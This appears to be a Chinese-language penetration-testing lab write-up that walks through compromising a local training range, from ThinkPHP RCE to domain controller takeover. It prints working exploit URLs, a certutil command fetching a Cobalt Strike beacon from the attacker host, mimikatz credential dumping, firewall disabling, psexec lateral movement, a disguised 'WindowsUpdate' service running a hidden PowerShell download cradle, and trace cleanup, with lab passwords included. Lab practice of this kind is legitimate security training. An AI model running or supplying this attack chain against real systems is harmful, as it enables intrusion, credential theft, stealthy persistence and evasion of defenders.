目录
一、测试环境
1、系统环境
2、注意事项
3、使用工具/软件
二、测试目的
三、操作过程
1、信息搜集
2、thinkPHP漏洞利用
3、CS上线web靶机
4、内网信息收集
5、横向移动
6、权限维持
7、痕迹清理
四、结论
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.200.131)
靶 机:Web-win7 [192.168. 138.136(仅主机的138网段,配置好的固定IP)、192.168.200.146(nat网卡)];win2008(仅主机的138网段,192.168.138.138,配置好的固定IP)。
密码信息(默认密码):
- Win7:heart/123.com
- Win7 Administrator默认密码:dc123.com
- Win7 Administrator修改后的密码:1qaz@WSX
- Win2008默认密码:admin/2020.com
- Win2008修改后的密码:1qaz@WSX
2、注意事项
需要登录到win7服务器上,手动开启web服务。打开C:\phpStudy目录,双击运行phpStudy.exe
3、使用工具/软件
Kali: cs服务器(teamserver)、arp-scan(主机探测)、nmap(端口和服务扫描)、dirsearch(目录遍历)
Cobalt Strike4.7版本(狐狸工具箱8.0)、TPscan(thinkPHP漏洞检测工具)、python3(临时web服务)
测试网址:http://192.168.200.146/
二、测试目的
利用thinkPHP漏洞上线CS,使用psexec进行域内横向移动,实现权限维持,并进行痕迹清理。
三、操作过程
1、信息搜集
主机探测
arp-scan -l
web靶机IP:192.168.200.146
端口和服务探测
nmap -sN -A -p- -T4 192.168.200.146
靶机开启了80端口(web服务)、135端口(msrpc服务)、3306端口(mysql服务)
目录扫描
dirsearch -u http://192.168.200.146 -i 200,301 --exclude-sizes=0B
扫描到两个文件:add.php和robots.txt;一个目录static;一个logo文件
只有add.php文件有些作用,是一个页面
2、thinkPHP漏洞利用
web网页主页是thinkPHP页面
使用工具TPscan扫描该网站的thinkPHP漏洞
项目地址:
https://github.com/Lucifer1993/TPscanhttps://github.com/Lucifer1993/TPscan
ThinkPHP的集成利用工具很多,狐狸工具箱、liqun工具箱都有的
下载好后,在工具目录打开cmd
python TPscan.py
http://192.168.200.146
扫描到两个漏洞:thinkphp_construct_code_exec和thinkphp_invoke_func_code_exec
thinkphp_invoke_func_code_exec漏洞给出了利用漏洞的完整poc
构造可用poc,使用system参数、给反斜杠url编码等,使用这个poc测试RCE漏洞
http://192.168.200.146/index.php/?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
成功执行whoami命令
查看靶机IP信息,执行命令:ipconfig /all
http://192.168.200.146/index.php/?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]= ipconfig%20/all
可以看到设置了双网卡:192.168.200.146(web网卡)、192.168.138.138(内网)
Ping下百度
http://192.168.200.146/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ping%20www.baidu.com
有返回信息,靶机可以出网的
3、CS上线web靶机
CS监听器设置,使用beacon http设置即可
生成监听木马文件,exe的stageless形式
监听器选择刚刚创建的
将文件上传到kali主机,在kali主机开启web服务
python3 -m http.server 8888
利用thinkPHP的漏洞执行命令下载文件
http://192.168.200.146/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]= certutil%20-urlcache%20-split%20-f http://192.168.200.131:8888/beacon.exe
命令执行完成结果
执行dir命令,也看到了beacon.exe文件
http://192.168.200.146/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
执行命令启动beacon.exe
192.168.200.146/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=start%20beacon.exe
Web页面会一直转圈圈,CS已经上线
4、内网信息收集
使用mimikatz抓取密码信息
右键—凭证提权—抓取明文密码
或者命令:logonpasswords
获取了Administrator用户的密码:1qaz@WSX
域名是:sun
进行内网端口扫描
右键—浏览探测—端口扫描
扫描138网段
或者使用命令:portscan 192.168.138.0-192.168.138.255 1-1024,3389,5000-6000 arp 1024
可以看到除了web主机的内网网卡(192.168.138.136),还有一台内网主机(192.168.138.138)
端口开放情况如下:
192.168.138.136:139、135、80、445
192.168.138.138:636、593、389、139、135、88、53、445
Ping一下域控服务器
shell ping sun.com
可以看到138主机就是域控服务器
5、横向移动
由于域控服务器是不出网的,因此需要设置内网代理
CS直接设置转发上线即可
主机管理这,右键—代理转发—转发上线
保存转发监听器设置
查看主机列表
右键DC—横向移动—psexec
监听器选择刚刚设置的内网转发监听器,会话选web靶机的会话
可以看到服务成功在DC主机开启,但是并没有上线成功。
很可能是web靶机的防火墙开着,中断了会话
查看web靶机的防火墙情况
shell netsh firewall show state
可以看到防火墙全部打开着的
关闭防火墙
shell netsh advfirewall set allprofiles state off
shell netsh firewall show state
可以看到防火墙已关闭
现在再次尝试转发上线域控服务器
可以看到,成功上线域控服务器DC
6、权限维持
使用powershell命令进行权限维持,设置自启动
CS创建powershell上线服务器的命令
在工具栏的攻击—web投递(stageless)
设置powershell的参数:url路径可以随便填写,端口要设置未被占用的,监听器设置正常的回连监听器即可
运行完毕会自动生成powershell的执行脚本
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.200.131:9999/a'))"
使用beacon窗口给web靶机写入服务
shell sc create "WindowsUpdate" binpath= "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.200.131:9999/a'))\""
使用sc命令创建服务成功
shell sc config "WindowsUpdate" start= auto
设置服务自启动
shell sc description "WindowsUpdate" "提供Windows安全补丁"
对服务名进行描述,进行伪装
shell net start "WindowsUpdate"
启动服务,但没有正常响应
修改powshell脚本
原本:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.200.131:9999/a'))
修改后:
cmd /c start powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.200.131:9999/a'))
使用sc config修改服务配置
shell sc config "WindowsUpdate" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.200.131:9999/a'))\""
修改服务配置成功
此时启动服务
shell net start "WindowsUpdate"
可以看到服务没有响应,但是命令成功执行了,获取了SYSTEM的权限
尝试重启web靶机
可以看到,刚关机,之前的shell都失效了
一旦靶机上线就会生成新的会话
可以在靶机查看服务信息
7、痕迹清理
删除木马文件beacon.exe
使用插件进行痕迹清理
四、结论
内网环境中,不出网的靶机需要设置代理转发流量才能上线。ThinkPHP5版本中存在严重的RCE漏洞,危害很大。